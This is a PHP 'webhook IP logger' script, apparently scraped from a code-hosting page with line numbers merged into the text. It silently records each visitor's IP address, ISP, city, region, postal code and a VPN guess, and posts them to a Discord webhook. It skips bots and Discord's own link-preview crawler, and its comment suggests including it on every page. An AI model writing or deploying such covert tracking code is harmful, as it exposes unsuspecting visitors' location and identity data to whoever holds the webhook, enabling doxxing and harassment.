Path: blob/master/index.php
113 views
/*1Please keep this copyright statemnet in tact2Original Creator Of This Webhook IP Logger: ᴮᵉᵗᵗᵉʳ ᴼᶠᶠ ᴳᵒⁿᵉ#08693Creation Date: 21/10/194APIs Provided By: Octolus (geoiplookup.io) and IP-API (ip-api.com)567NOTE: You can use this in every page if you make a it a external page and require it in every other page that is php.89*/1011<?php1213$webhookurl = "discord webhook link";1415$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);16$browser = $_SERVER['HTTP_USER_AGENT'];17if(preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $browser)) {18exit();19}20$TheirDate = date('d/m/Y');21$TheirTime = date('G:i:s');22$details = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"));23$vpnCon = json_decode(file_get_contents("https://json.geoiplookup.io/{$ip}"));24if($vpnCon->connection_type==="Corporate"){25$vpn = "Yes (Double Check: $details->isp)";26}else{27$vpn = "No (Double Check: $details->isp)";28}29$flag = "https://www.countryflags.io/{$details->countryCode}/shiny/64.png";30$data = "**User IP:** $ip\n**ISP:** $details->isp\n**Date:** $TheirDate\n**Time:** $TheirTime \n**Location:** $details->city \n**Region:** $details->region\n**Country** $details->country\n**Postal Code:** $details->zip\n**IsVPN?** $vpn (Possible False-Postives)";3132$json_data = array ('content'=>"$data", 'username'=>"Vistor Visited From: $details->country", 'avatar_url'=> "$flag");33$make_json = json_encode($json_data);34$ch = curl_init( $webhookurl );3536curl_setopt( $ch, CURLOPT_POST, 1);37curl_setopt( $ch, CURLOPT_POSTFIELDS, $make_json);38curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);39curl_setopt( $ch, CURLOPT_HEADER, 0);40curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);4142$response = curl_exec( $ch );4344?>454647